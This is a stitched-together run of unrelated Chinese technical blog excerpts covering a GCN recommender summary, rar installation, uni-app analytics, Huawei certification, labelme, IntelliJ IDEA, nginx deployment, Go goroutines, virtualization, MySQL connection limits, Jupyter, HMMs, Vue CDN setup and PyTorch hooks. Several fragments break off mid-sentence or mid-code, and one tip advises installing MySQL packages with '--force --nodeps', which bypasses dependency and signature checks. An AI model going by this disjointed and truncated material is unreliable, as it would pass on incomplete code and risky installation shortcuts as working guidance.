在学习用户(user)表示的时候,注重在 item 树中给跟目标用户相似的邻居分配更多的权重。在学习项目(item)表示时,更关注在 user 树中与目标 item 相似的邻居。 注:这篇文章是基于何向南老师的 Light-GCN 改的
2. 引言 问题: 有的基于gcn的CF算法虽然已经被广泛研究,但大多存在一个关键的限制:在CF层中,用户树和项目树直到最终融合时才进行交互。这是因为它们的聚合大多继承自传统的GCNs,,最初是为了对每个节点进行分类而提出的。然而,推荐任务与分类任务有着根本的不同: 不仅关注user和item的一般特征、用户的购买力、对项目的评分,还需要关注user和item之间的交互信息。比如: user 在选择 item 时的 consideration,item 吸引 user 的 characteristic,这些都决定着用户的 preference。
3. 模型概述 3.1 问题定义 user: U = { u 1 , u 2 , . . . , u n } U=\{u_1,u_2,...,u_n\} U={u1,u2,...,un}item: I = { i 1 , i 2 , .
本教程是参考【1】进行实践的,在实践过程中发现一些问题,因此做了一些补充
实践过程 本安装命令在Linux命令下执行
本人是在pycharm下,连接的远程Linux服务器下创建的一个conda环境中运行Linux命令
参考资料教程代码
1. wget https://www.rarlab.com/rar/rarlinux-x64-5.5.0.tar.gz 2. tar -zxvf rarlinux-x64-5.5.0.tar.gz 3. cd rar 4. make install 5. mkdir -p /usr/local/bin 6. mkdir -p /usr/local/lib 7. cp rar unrar /usr/local/bin 8. cp rarfiles.lst /etc 9. cp default.sfx /usr/local/lib 过程展示 我根据参考资料的实践过程的显示信息如下
第1步是OK的
2. 第2步也是OK的
3. 第3步也OK
4. 第4步开始报错
无法创建普通文件,权限不够
5. 第5步也是正常的
6. 第6步也是正常的
7. 第7步也报错无法创建,无权限
8. 第8步,也报错无法创建,无权限
9. 第9步和上述报同样的错
经过查阅资料,在命令行前加sudo 这一命令都能解决,后经过实验实证,正确执行无报错
解释:sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行,提升权限
更正命令 经过实验考证的Linux rar ,unrar命令安装命令步骤如下
1.首先要有一个友盟的账号,在友盟上创建你的应用。
2.然后进入到manifest.json文件,勾选“Statistic(统计)”,uni-app中自带统计sdk使用
3.进入到manifest.json文件中的源码视图,在sdkConfigs节点下加入statics节点。
“statics” : {
“umeng” : { “appkey_ios” : “友盟统计平台申请应用获取的iOS平台appkey”, “channelid_ios” : “123456”, //随便填
“appkey_android” : “友盟统计平台申请应用获取的Android平台appkey”,
“channelid_android” : “abcdef” //随便填
}
},
4.现在就可以进行重新打包,然后就可以在友盟上看到统计的结果了哦。
含金量很高啊!华为是中国企业网络领域的第一位。很多运营商和政府网络使用华为设备。获得华为认证对你今后的工作有很大的帮助。 感兴趣的可以一起交流下:
点击进入华为认证 免费交流区,一起学习、交流经验、分享资料https://jq.qq.com/?_wv=1027&k=kXxLwvtE
首先华为认证是华为技术有限公司(简称华为)基于“平台+生态”战略,围绕“云-管-端”协同的新ICT技术架构,打造的业界覆盖ICT领域最广的认证体系,包含“ICT技术架构认证”、“平台与服务认证“、“行业ICT认证”三类认证。
华为认证分为工程师(HCIA)、高级工程师(HCIP)和专家(HCIE)三个认证等级。
工程师(HCIA)没什么含金量,因为学的都是基础知识,是最基本的东西。
高级工程师(HCIP)的含金量一般,在一线城市资薪基本是在8-12K之间。要全面掌握中小型网络的特点和更深入的技术应用,具备使用华为路由交换设备独立进行中小型企业网络规划设计。
专家(HCIE)的含金量就非常高了,拥有这个证书说明你在该行业已经拥有了三五年左右的工作经验,基本一线城市的资薪都是在15-20K之间。而且该证书是企业招聘的基本条件。掌握大中型复杂网络特点和技术发展趋势,具备基于大中型企业应用独立规划设计。
而且含金量会随着华为的发展,网络越来越发达,对于网络的技术就会要求越来越高,相对工资就会更高。
1.打开labelme。
首先打开cmd(win+r输入cmd),然后进入安装好的labelme的环境中,
activate labelme 打开labelme。
labelme 若还没安装labelme先安装:labelme的安装过程
2.打开要标注的数据或其所在的文件夹。
这里以文件夹的方式演示,选中你要标注的数据文件夹打开,
即可在软件的右下角看到该文件夹里的所有文件。
然后点击Create按钮开始标注,
如图,我要标注路面上的斑马线,
标注所有斑马线,
完成后点击file中的save保存,也可使用快捷键ctrl+s直接保存。
选中你要保存到的文件夹中即可,注意此时保存的为json格式的文件。
下面是需要标注的数据集:
labelme标注后对应的json文件:
转换后的标签图片:
json文件转换成png格式的图片:labelme标注的json文件转换成png格式
参考文献
Java实现word文档在线预览,读取office(word,excel,ppt)文件 https://blog.csdn.net/weixin_34004576/article/details/94525426?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.pc_relevant_default&utm_relevant_index=2
Java 实现word pdf在线预览 https://blog.csdn.net/Black_Tshirt/article/details/81066520?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.pc_relevant_default&utm_relevant_index=6
SpringBoot读取Resource下文件的4种方法 http://cache.baiducontent.com/c?m=O4TEIcBO532jq6TszxU4g3APaU5-epsr6GjDxXiJmcb2mUbu3Zn3NLcVzn05T3fRjCkG9l-sJoCtBMS27gWNFu1duPewVlo8A51ySBdVDW6_1O4PLc6TDHIimjeoR-SsAzlYf2YBSd9RPT_ChLNg8EHBb6gzlx0QHTwLWQW32kqhpcnTjy0vWJyNDZ7fHNew&p=8e67c64ad4934eac59ecd23c48529f&newp=837e8b1e908912a05abd9b7d0c17c4231610db2151d7d11f6b82c825d7331b001c3bbfb422201a01d5ce7a6c03af485ce1f437783d0923a3dda5c91d9fb4c57479&s=cfcd208495d565ef&user=baidu&fm=sc&query=springboot++%B6%C1%C8%A1resources%CF%C2%CE%C4%BC%FE&qid=a9314b3f00084a77&p1=2
正文
pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.12</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>test3</artifactId> <version>0.0.1-SNAPSHOT</version> <name>test3</name> <description>Demo project for Spring Boot</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <optional>true</optional> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.11.0</version> </dependency> </dependencies> </project> TestController.java package com.example.test3.controller; import org.apache.commons.io.IOUtils; import org.springframework.web.bind.annotation.GetMapping; import org.
1、安装IDEA 1.1、官网下载IDEA 官网: 下载 IntelliJ IDEA:JetBrains 功能强大、符合人体工程学的 Java IDE
1.2、安装 1.2.1、下载好以后双击打开安装,点击下一步
1.2.2、选择要安装到的文件夹,一般放到SSD固态硬盘里,下一步
1.2.3、进行选择配置,然后下一步
1.2.4、点击安装
1.2.5、等待安装完成
1.2.6、点击完成,或者勾选,运行IDEA
1.4、优化 设置虚拟机: 如果电脑性能好的话,可以进行软件优化。
1.4.1、打开软件所在文件夹,进入bin目录
1.4.2、记事本打开虚拟机配置
1.4.3、修改配置
1.4.4、保存,然后重启idea,就完成了。
设置配置、缓存等存放地址 打开软件所在文件夹->bin->idea.properties。
删除这几行前面的#注释,就可以了,后面路径需要修改的话自行修改。
如果后面路径没有进行修改的话,打开软件的时候可能会然你选择配置文件存放路径,选择文件夹里显示的那个路径就行了。
以后IDEA的所有缓存和配置都会存放在里面,如果把这个文件夹删了,那么所有配置和缓存都会消失,这时候软件就跟刚下载的一样,没有自己任何的配置了。
1.5、选择打开后显示的页面 20版本双击桌面的软件,默认打开的是上一个项目,我们想打开选择项目的页面,就需要自己设置了。
比如这个页面:
我们随便打开一个项目。
点击左上角的File->Settings…
2、项目(project)和模块(module)的创建和删除 在Eclipse中,我们有Workspace(工作空间)和product(工程)的概念,在IDEA中只有Project(工程)和Module(模块)的概念,对应关系为:
Eclipse中workspace相当于IDEA中的Project
Eclipse中Project相当于IDEA中的Module
2.1、项目创建 2.1.1、双击打开软件,点击Create New Project创建一个新的项目
2.1.2、添加JDK
2.1.3、点击Next下一步,再点击Next下一步
2.1.4、设置项目名和路径
2.1.5、在src文件夹下,创建测试类
2.1.6、输入完毕以后点击回车
项目目录:
2.1.7、添加测试方法
2.1.8、右键,运行项目
输出结果:
2.2、模块创建 2.2.1、创建模块
2.2.2、点击下一步
2.2.3、设置模块名称和文件路径
2.2.4、点击Finish完成,创建好的模块名称如下:
2.2.5、给模块添加测试类,进行测试
2.3、模块删除 2.3.1、打开模块设置
2.3.2、选择模块,点击-号
2.3.3、 选择Yes,从项目中移除模块Module01,没有文件被删除,因此需要手动删除模块。
2.3.4、打开模块所在文件夹,然后按住shift+del删除模块,就删除成功了
2.4、项目删除 2.4.1、File->Close Project
2.4.2、删除项目
2.4.3、打开项目所在的文件夹,然后按住shift+del删除文件夹即可
3、常用设置 点击软件工具栏里最左边的File按钮,打开设置
指令集os系统用户应用部署教程 简介 指令集物联网操作系统iSysCore Operating System,简称iSysCore OS,是指令集智能科技自主研发的,统一管理和控制物联场景中各种软硬件及数据资源的新一代物联网基础软件。
我自己的理解是:能够对物联网设备进行有效的管理,有点类似米家和thingboard,主页如下:
首页
用户应用部署可分为两种方式:1.按照指令集北向应用开发教程开发部署用户应用;2.使用手动方式部署用户应用。
北向应用开发教程没有尝试,本教程将使用手动方式进行部署。
部署流程 主要分为:
前端改造后端改造nginx配置修改 前端改造 修改后端访问地址
修改前端的公共访问地址
// 本文件文件名:vue.config.js module.exports = { assetsDir: 'assets', // publicPath代表公共访问地址 publicPath: '/os/highwaylight/', // outputDir代表输出文件夹名 outputDir: 'highwaylight', } 重点:输出文件夹名需要跟公共访问地址的二级地址一致!
将前端打包后上传到os服务器指定路径(无需重启):/data/pvstore/isc-nginx-local/www/os/
后端改造 1. 本教程中,后端打包后上传到指令集os服务器,使用java命令直接运行。 推荐运行指令:nohup java -jar admin.war > highwaylight.log 2>&1 &,该指令将在后台运行jave文件,也可以使用screen运行。
重点:切记将数据库地址跟redis地址全部换成os服务器的!
修改后台应用的接口后缀,在application-dev.yml文件中修改一下内容:
context-path: /highwaylight/ **修改内容意义:**前端发过来的请求必须带/highwaylight/前缀,否则无法匹配
nginx配置修改 1. nginx配置修改主要是为了将访问接口统一,例如os系统的访问接口为38080,而用户应用的后台访问接口在8083,为了让用户应用的后台应用接口也从38080进入,我们需要使用nginx对用户应用的后台接口进行接口代码,例如下面代码:
location /highwaylight/ { proxy_pass http://172.16.5.231:8083; } 意义:所以从38080接口进入,带/highwaylight/的请求,全部转发到8083端口
同时,转发到8083端口的请求,会带/highwaylight/
重启nginx,配置生效,使用下面三条指令
helm upgrade isc-nginx /etc/iscos/iscos/isc-nginx/charts
pygame中绘制弧线的函数如下:
pygame.draw.arc(surface, color, rect, start_angle, stop_angle, width) 需要传入的参数:
surface:画布(screen)color:颜色rect:弧线所在矩形框start_angle:弧线起始角度(弧度制0~2)stop_angle:弧线终止角度(弧度制0~2)width:默认为1(当≤0的时候啥也不画) 其中rect,start_angle,stop_angle比较难理解。首先rect为pygame中定义的一个矩形,定义方式为Rect(left, top, width, height) ,由4个数组成的元组定义而成,各数含义如下,分别是左上角点的坐标,矩形的宽度与高度:
我们先在矩形Rect内作内切圆或椭圆(图中红色虚线椭圆),再结合start_angle与stop_angle便可定义我们的弧线(图中粗红线):
目录
一、关于进程和线程
1. 进程(Process)
2. 线程
二、关于并发和并行
1. 并发
2. 并行
3. 通俗讲
三、goroutine协程以及主线程
1. 主线程
2. 协程
3. 多协程和多线程
四、go关键词实操
1. 顺序执行
2. 加入go
3. 加入时间
4. 主线程执行快的情况
5. sync.WaitGroup解决不等待
6. 多协程并发并行执行
五、设置golang运行时占用的cpu核数量(不是很重要)
重点:这一篇全是干货,一定要多读多记,哪里不会可以留言咨询我。
一、关于进程和线程 1. 进程(Process) 进程就是程序在操作系统中的一次执行过程,是由系统进行资源分配和调度的基本单位,进程是一个动态概念,是程序在执行过程中分配和管理资源的基本单位,每一个进程都有一个自己的地址空间。一个进程至少有5种基本状态:初始态、执行态、等待状态、就绪状态、终止状态。
通俗讲:进程就是一个正在执行的程序。
2. 线程 线程是进程的一个执行实例,是程序执行的最小单元,它是比进程更小的能独立运行的基本单位。
通俗讲:一个进程可以创建多个线程,同一个进程中的多个线程可以并发执行,一个程序要运行的话至少有一个进程。
二、关于并发和并行 1. 并发 多个线程同时竞争一个位置,竞争到的才可以执行,每一个时间段只有一个线程在执行。
2. 并行 多个线程可以同时执行,每一个时间段,可以有多个线程同时执行。
3. 通俗讲 多线程程序在单核cpu上运行就是并发,在多核cpu上运行就是并行。如果线程数大于cpu核数,则多线程程序在多个cpu上既有并发也有并行。
三、goroutine协程以及主线程 1. 主线程 可以理解为线程或进程,在一个golang程序的主线程上可以启用多个协程。golang中多协程可以实现并发或者并行。
2. 协程 可以理解为用户级别的线程,这是对内核透明的,也就是系统并不知道有协程的存在,是完全由用户自己的程序进行调度的。golang的一大特色就是从语言方面原生支持协程,在函数或方法前面加一个go关键词就可以创建一个协程。可以说golang中的协程就是goroutine。
Golang 中的多协程有点类似其他语言中的多线程。
3. 多协程和多线程 Golang 中每个 goroutine (协程) 默认占用内存远比 Java 、C 的线程少。 OS 线程(操作系统线程)一般都有固定的栈内存(通常为 2MB 左右),一个 goroutine (协程) 占用内存非常小,只有 2KB 左右,多协程 goroutine 切换调度开销方面远比线程要少。 这也是为什么越来越多的大公司使用 Golang 的原因之一。
当你的电脑浏览器不能正常上网时,显示
点击网络诊断,显示远程计算机或设备将不接受连接
此时,不要慌。
解决办法:
1、点击左下角开始,点击运行,输入inetcpl.cpl,点击确定,打开Internet选项。
2、点击Internet选项中连接属性,点击局域网设置。
3、将三个框的勾勾去掉,即为不选中状态,点击确定。
4、就能正常上网了。
主要是记录一下自己平时遇到的问题,和大家分享一下
如有侵犯,请联系我
点个赞支持一下吧
硬件虚拟化
硬件虚拟化就是硬件物理平台本身提供了对特殊指令的截获和重定向的支持。支持虚拟化的硬件,也是一些基于硬件实现软件虚拟化技术的关键。在基于硬件实现软件虚拟化的技术中,在硬件是实现虚拟化的基础,硬件(主要是CPU)会为虚拟化软件提供支持,从而实现硬件资源的虚拟化。 支持虚拟化的硬件有:
Intel-VT-(Intel Virtualization Technology),Intel公司为解决纯软件虚拟化解决方案在可靠性、安全性和性能上的不足而引进的技术。它可以让一个CPU工作起来像多个CPU在并行运行,从而使得在一部电脑内同时运行多个操作系统成为可能AMD-V-(AMD Virtualization),是AMD公司的虚拟化技术。它是对x86处理器系统架构的一组硬件扩展和硬件辅助虚拟化技术,可以简化纯软件的虚拟化解决方案,改进VMM(虚拟机监视器)的设计,更充分地利用硬件资源,提高服务器和数据中心的虚拟化效率 软件虚拟化
软件虚拟化就是利用软件技术,在现有的物理平台上实现对物理平台访问的截获和模拟。在软件虚拟化技术中,有些技术不需要硬件支持,如:QEMU;而有些软件虚拟化技术,则依赖硬件支持,如:VMware、KVM。
对软件虚拟化进行细分,又可以分为以下几类:
完全虚拟化:(Full Virtualization)虚拟机模拟完整的底层硬件环境和特权指令的执行过程,使客户机操作系统可以独立运行。支持完全虚拟化的软件有:Parallels Workstation、VirtualBox、Virtual Iron、Oracle VM、Virtual PC、Virtual Server、Hyper-V、VMware Workstation、QEMU等
硬件辅助虚拟化:(Hardware-assisted Virtualization)是指通过硬件辅助支持模拟运行环境,使客户机操作系统可以独立运行,实现完全虚拟化的功能。支持硬件辅助虚拟化的软件有:Linux KVM、VMware Workstation、VMware Fusion、Virtual PC、Xen、VirtualBox、Parallels Workstation等
部分虚拟化:(Partial Virtualization)只针对部分硬件资源进行虚拟化,虚拟机模拟部分底层硬件环境,特别是地址空间。这样的环境支持资源共享和线程独立,但是不允许建立独立的客户机操作系统。
平行虚拟化:(Para-Virtualization)虚拟机不需要模拟硬件,而是将部分硬件接口以软件的形式提供给客户机操作系统。如:早期的Xen。
操作系统层虚拟化:(OS-level virtualization)这种技术将操作系统内核虚拟化,可以允许使用者空间软件实例被分割成几个独立的单元,在内核中运行,而不是只有一个单一实例运行。这个软件实例,也被称为是一个容器(containers)、虚拟引擎(Virtualization engine)、虚拟专用服务器(virtual private servers)。每个容器的进程是独立的,对于使用者来说,就像是在使用自己的专用服务器。
Docker容器技术就是属于操作系统层虚拟化的范畴。
warning: mysql-community-server-5.7.25-1.el7.x86_64.rpm: Header V3 DSA/SHA1 Signature, key ID 5072e1f5: NOKEY error: Failed dependencies: libaio.so.1()(64bit) is needed by mysql-community-server-5.7.25-1.el7.x86_64 libaio.so.1(LIBAIO_0.1)(64bit) is needed by mysql-community-server-5.7.25-1.el7.x86_64 libaio.so.1(LIBAIO_0.4)(64bit) is needed by mysql-community-server-5.7.25-1.el7.x86_64 Linux下rpm方式安装MySQL遇到warning: mysql-community-server-5.7.25-1.el7.x86_64.rpm: Header V3 DSA/SHA1 Signature, key ID 5072e1f5: NOKEY这个错误,这是因为yum安装了旧版本的GPG keys造成的 解决办法:后面加上 --force --nodeps 如: rpm -ivh MySQL-server-5.5.46-1.linux2.6.x86_64.rpm --force --nodeps 即可
Jupyter Notebook 的简单配置与使用 参考: Jupyter Notebook介绍、安装及使用教程 (jianshu.com)
说明: 此篇文章是介绍解决使用jupyter notebook 工作路径繁琐的问题。
(在cmd中启动时,往往要指定工作路径和输入jupyter notebook来启动。)
配置 永久更改工作目录 1.配置文件路径 首先打开你的CMD或者是终端(Linux),在你配置过环境变量的基础下,你直接输入以下命令:
jupyter notebook --generate-config
如果你是Windows环境则显示以下图片:
第一次查询:
若文件已经存在或被修改,使用这个命令之后会出现询问“Overwrite /Users/raxxie/.jupyter/jupyter_notebook_config.py with default config? [y/N]”,即“用默认配置文件覆盖此路径下的文件吗?”,如果按“y”,则完成覆盖,那么之前所做的修改都将失效;如果只是为了查询路径,那么一定要输入“N”。
输入N
windows系统的配置文件路径:C:\Users\XXX\.jupyter\
XXX:为你的用户名
配置文件名:jupyter_notebook_config.py
2.修改配置文件 打开文件资源管理器进入该目录
右键jupyter_notebook_config.py,选择打开方式,用记事本打开
注意:取消勾选始终使用此应用打开.py文件
在记事本中显示如下: 3.查询指定项 点击上面的编辑按钮,再点击查找按钮 输入:c.NotebookApp.notebook_dir 删除该行前的#号,并在’'里填入想要保存的工作路径。
例如:我把工作路径放在了F盘Work文件夹下的jupyter文件夹里。
注意:work和jupyter文件夹必须存在。
CTRL+S保存。 4.验证是否成功 在命令行窗口中输入jupyter notebook。此时你会看到一个清爽的界面,恭喜!
提高你的工作效率 在使用juoyter notebook时,往往要打开cmd,转到工作路径,再输入jupyter notebook来启动。
为了简化这一过程,我们可以使用批处理(.bat)脚本。
新建文本文档
在桌面空白处右键,新建空白文档
在文档中输入
jupyter notebook 或者输入(没有永久更改工作目录)
E: cd Work\jupyter jupyter notebook 更改后缀
将 .
隐马尔科夫模型 文章目录 隐马尔科夫模型前言一、定义二、三个基本问题1、观测序列概率2、模型参数学习3、预测(解码)问题 三、三个问题的代码1、观测序列概率2、模型参数学习 总结 前言 隐马尔科夫模型(HMM)是在马尔科夫链上的一个扩展,属于机器学习,它用来描述一个含有隐含未知参数的马尔可夫过程。其难点是从可观察的参数中确定该过程的隐含参数。然后利用这些参数来作进一步的分析
一、定义 隐状态集合:Q={q1,q2,…,qN}
可观测态集合:V={v1,v2,…,vN}
状态序列:I={i1,i2,…,iN}
观察态序列:O={o1,o2,…,oN}
状态转移矩阵:A=[aij]N*N ,其中aij=P(it+1=qj|it=qi)
观测状态生成矩阵:B=[bj(k)]N*M ,其中bj(k)=P(ot=vk|it=qt)
隐状态初始概率分布:Π=[π(i)]N ,其中π(i)=P(i1=qi)
由上得到HMM模型:λ=(A,B,Π)
二、三个基本问题 1、观测序列概率 已知λ=(A,B,Π),O={o1,o2,…,oN}时,计算P(O|λ)的值。
穷举法
在该模型下,计算观测矩阵的概率,因此我们需要计算所有隐状态条件下的结果。既:
P(O|λ)=∑P(O|I,λ),
同时:
P(O|I,λ)=P(I|λ)P(O|I,λ),
其中:
P(I|λ)=πi1ai1i2ai2i3…aiT-1,iT
P(O|I,λ)=bi1(o1)bi2(o2)…biT(oT)
缺点:复杂度较大
前向后向算法
案例
案例来源
三个盒子,各有一定数量的红球白球
由此可以得到两个集合:
以及模型:
其中A:上一步在某个盒子拿,这一步拿各个盒子的概率
B:当拿某个盒子时,拿到红球、白球的概率
Π:初始拿各个盒子的概率
假设观测序列为O={红,白,红}
求得最终结果:
2、模型参数学习 已知O={o1,o2,…,oN}时,求λ=(A,B,Π)
利用期望最大值算法(Expectation-Maximum)
对π求估计:
对a和b求估计:
a的分子部分表示在O,λ已知时,该时刻处于隐状态i,并且下一时刻处于隐状态j的概率
3、预测(解码)问题 已知λ=(A,B,Π),O={o1,o2,…,oN}时,求I={i1,i2,……,iN}
δ既寻找到当前状态最大概率的一个路径。
Φ既在时刻t的时候,隐藏状态为i的,所有状态转移矩阵中,概率最大的那个转移路径中,第t-1个结点的隐藏状态。
接下来不断迭代:
最终得到最可能隐藏序列出现的概率
时刻T最可能的隐藏状态
就可以得到最终结果:最可能隐藏态序列
三、三个问题的代码 1、观测序列概率 依然以上述的小球和小盒模型为例,但是观察态序列包含五次观察结果,观测序列为白、红、红、白、白,结果P=0.0212
clear;clc; box1=[0,0,0,0,0,1,1,1,1,1];%0表示红色,1表示白色 box2=[0,0,0,0,1,1,1,1,1,1]; box3=[0,0,0,0,0,0,0,1,1,1]; boxall=[box1;box2;box3]; O=[]; for i=1:5 O=[O boxall(randi(30))];%生成观察态序列 end %问题一 A=[0.
1.确认是否存在.bash_profile文件
创建该文件时一般都会选择在当前用户目录下,即Mac下的.bash_profile 文件的路径是 /Users/YourMacUserName/.bash_profile
cd ~可直接到/Users/YourMacUserName/目录下
查看是否有.bash_profile 文件
如果没有创建 touch .bash_profile 2.配置别名:
打开文件 vi .bash_profile 添加下面一行代码
alias st="ssh 企业邮箱名@relay01.mokahr.com -p 60022"
3.保存之后重新打开terminal或者执行
source ~/.bash_profile
打开Mac终端窗口输入st成功进入跳板机
解决方案:如下图
父盒子:{ position: relative; } 表格外层div{ width: 100%; height:100%; display: flex; flex-direction: column; position: absolute; } .el-table { flex: 1; overflow-y: auto; } 这样就可以了,完美自适应,另外table要加高度,分页直接放在后面即可
我们通过搜索可以知道pygame中关于图像旋转的方法是pygame.transform.rotate(),但是在实际使用中,我们会发现如果我们要连续旋转一个物体,简单地使用这个方法会导致图像扭曲变形,最后完全丧失了本来的样子。
经过研究发现图像扭曲的原因就是每次使用上面方法旋转之后,图像的中心点会发生变化,所以我们的解决方案是在每次旋转的时候设置旋转中心不变。代码如下:
x = 0 y = 0 # 导入原始图像 image_raw = pygame.image.load("your image").convert_alpha() # 设置旋转中心 core = (x,y) # 设置角度(0~360) angle = 60 # 旋转图像 image = pygame.transform.rotate(image_raw, angle) # 绘制图像,并且设置中心位置,注意这里中心一定要是元组tuple self.screen.blit(image, image.get_rect(center=tuple(core))) 如果我们需要连续旋转以及改变转转中心位置,调整core与angle的值即可。注意angle的范围用的是角度制(0~360)
目录 1,项目配置2,CDN介绍2.1,常见cdn网站2.2,通过UNPKG查找需要的cdn资源 3,实战代码4,后记 1,项目配置 最近在做一个项目,项目配置版本如下:
vue:3.2.6vue-router:4.0.11vuex:4.0.2axios:0.21.4element-plus:1.2.0-beta.6typescript:4.1.5sass:1.26.5 下面分享一下,如上配置的vue3项目,如何配置cdn加速
悄悄插一句,element-plus坑真多 T_T
2,CDN介绍 介绍下常见的免费cdn网站
2.1,常见cdn网站 国内
BootCDN(猫云):https://www.bootcdn.cn/#aboutStaticfile CDN(七牛云):http://staticfile.org 国外
UNPKG:https://unpkg.comjsDelivr :https://www.jsdelivr.com 2.2,通过UNPKG查找需要的cdn资源 BootCDN和Staticfile CDN简单明了的搜索方式就不说了,这里讲一下UNPKG搜索cdn资源的方式。
cdn文件路径格式:https://unpkg.com/:package@:version/:file
路径解析如下图:
以下是几个cdn路径的例子:
// element-plus https://unpkg.com/element-plus@1.2.0-beta.6/dist/index.full.js // axios https://unpkg.com/browse/axios@0.21.4/dist/axios.min.js 直接使用资源名后面加/,可以查看文件夹目录,比如:https://unpkg.com/browse/axios@0.21.4/,复制进浏览器地址栏,可看见如下目录:
打开后自己需要什么文件可以自己找,很方便,其余更多黑科技自行百度。
3,实战代码 按如下配置,操作方式基本一样,文件的cdn版本自行替换。
vue.config.js
const CDN = { css: [ 'https://cdn.bootcdn.net/ajax/libs/normalize/8.0.1/normalize.min.css', 'https://unpkg.com/browse/element-plus@1.2.0-beta.6/theme-chalk/index.css' ], js: [ 'https://cdn.bootcdn.net/ajax/libs/vue/3.2.6/vue.global.js', 'https://cdn.bootcdn.net/ajax/libs/vue-router/4.0.11/vue-router.global.js', 'https://cdn.bootcdn.net/ajax/libs/vuex/4.0.2/vuex.global.js', 'https://cdn.bootcdn.net/ajax/libs/axios/0.21.4/axios.js', 'https://unpkg.com/element-plus@1.2.0-beta.6/dist/index.full.js', 'https://unpkg.com/browse/element-plus@1.2.0-beta.6/lib/locale/lang/zh-cn.js' ] }; let objExternals = { vue: 'Vue', axios: 'axios', vuex: 'Vuex', 'vue-router': 'VueRouter', 'element-plus': 'ElementPlus' } module.
目录
一、结构体值接收者和指针接收者实现接口的区别
1. 值接收者
2. 指针接收者
二、结构体实现多接口
三、接口嵌套
四、空接口和类型断言使用细节
一、结构体值接收者和指针接收者实现接口的区别 1. 值接收者 如果结构体中的方法是值接收者,那么实例化后的结构体值类型和结构体指针类型都可以赋值给接口变量
package main import "fmt" // 结构体值接收者和指针接收者实现接口的区别 type Usber interface { Start() Stop() } //值接收者 type Phone struct { Name string } func (p Phone) Start() { fmt.Println(p.Name, "启动") } func (p Phone) Stop() { fmt.Println(p.Name, "关机") } func main() { // 值接收者 如果结构体中的方法是值接收者,那么实例化后的结构体值类型和结构体指针类型都可以赋值给接口变量 var p1 = Phone{ Name: "小米手机", } var p2 Usber = p1 p2.Start() // 小米手机 启动 p2.
前言 针对结构中定义了多个nn.sequential的网络模型,无法直接获取其内部某一中间层的输出,本文将给出两个方法进行解决。
方法 1 逐层进行forward 创建自定义函数,实现按照执行顺序逐层前向执行网络模型。
-----将模型输入以及模型作为参数传入函数,返回目标结果
def extract_res(inp, model): for index, module in enumerate(model.modules()): # 按执行顺序遍历网络各层操作 if index in [0, 1, ...]: # 去除非操作层 continue inp = module(inp) # 逐层前向执行,得到结果 if index == 3: # 判断是否为目标层 (示例为索引为3的操作) return inp tip: 利用.modules()在进行遍历操作时,其顺序为:
【总网络结构–>各部分–>各部分内部】
==》可见index = 0,1对应为非操作层,需要避免其执行forward。
故在使用此方法时,需要注意摒弃非操作层,跳过执行。此外,须推理出目标输出层对应索引号,才能实现精准获取。
2 使用hook函数 (1)定义保存hook内容的对象类
class SaveOutput: def __init__(self): self.outputs = [] def __call__(self, module, module_in, module_out): self.outputs.append(module_out) def clear(self): self.outputs = [] (2) 为卷积层注册hook
随着现在大部分的工程结构都是微服务化,每个服务一般都有本服务独立的DB库,对MySQL的连接数要求也是越来越多。如果本地安装的测试数据,没有对MySQL默认连接数修改,测试时,多开几个微服务,可能就遇到数据库连接数过多的问题。对MySQl默认的最大连接数做修改就必不可少了。
一、前提条件 修改数据库是比较危险的动作,修改之前以开发测试的数据库为例,做好数据的备份。以防数据库误操作,丢失数据等等 。
修改MySQL的前提条件:
1、有Linux用户的管理员权限账号,需要对MySQL安装的配置问卷进行修改;
2、MySQL数据库的管理账号。
3、如果有运维,与运维和开发负责人员商量修改,数据是大事,以防数据丢失,做好数据的备份。
二、修改步骤 1、使用root用户登录和连接数据库 # mysql -uroot -p 输入命令后,提示输入root用户密码,输入密码后,成功登录数据库。
登录MySQL数据库
2、查看当前数据库的最大连接数 mysql> show variables like 'max_connections'; 如下图,MySQL的最大连接数才151,稍微多开几个微服务,基本都会报数据库连接数过多的异常。
查看数据库的最大连接数
3、修改MySQL配置文件 找到MySQL的配置文件并且修改:/etc/mysql/mysql.conf.d/mysqld.cnf
# view /etc/mysql/mysql.conf.d/mysqld.cnf 修改配置文件中的最大连接数,max_connections = 2000,修改完保存配置退出编辑状态。
[mysql] max_connections = 2000 修改配置文件中的最大连接数
4、查看系统limit限制 使用命令查询系统的文件限制
# 查询文件限制 $ ulimit -n 1024 如果查看的系统文件限制是65535,说明系统已经修改过了,不需要再修改。
5、修改系统文件限制 5.1、在/etc/security/limits.conf最后增加如下两行记录,编辑完保存配置 # 编辑系统文件配置文件 $ view /etc/security/limits.conf # 在/etc/security/limits.conf最后增加如下两行记录 * hard nofile 65535 * soft nofile 65535 最后增加如下两行记录
5.2、编辑/etc/pam.d/common-session,加入一行 session required pam_limits.so # 编辑/etc/pam.
STM32使用前的准备 对于要使用的每个STM32芯片,首先我们手上必备的两本手册(ST官网有pdf版):
参考手册(Reference manual)数据手册(Datasheet) 其中参考手册包括各个功能模块的具体信息、原理、各种工作模式介绍、配置方法以及寄存器相关信息;数据手册包括芯片的基本参数、引脚数量与各自功能、电气特性、封装信息等内容。一般在选型与硬件设计阶段,参考数据手册多一些,而到了程序设计阶段,参考手册就是必须的了。
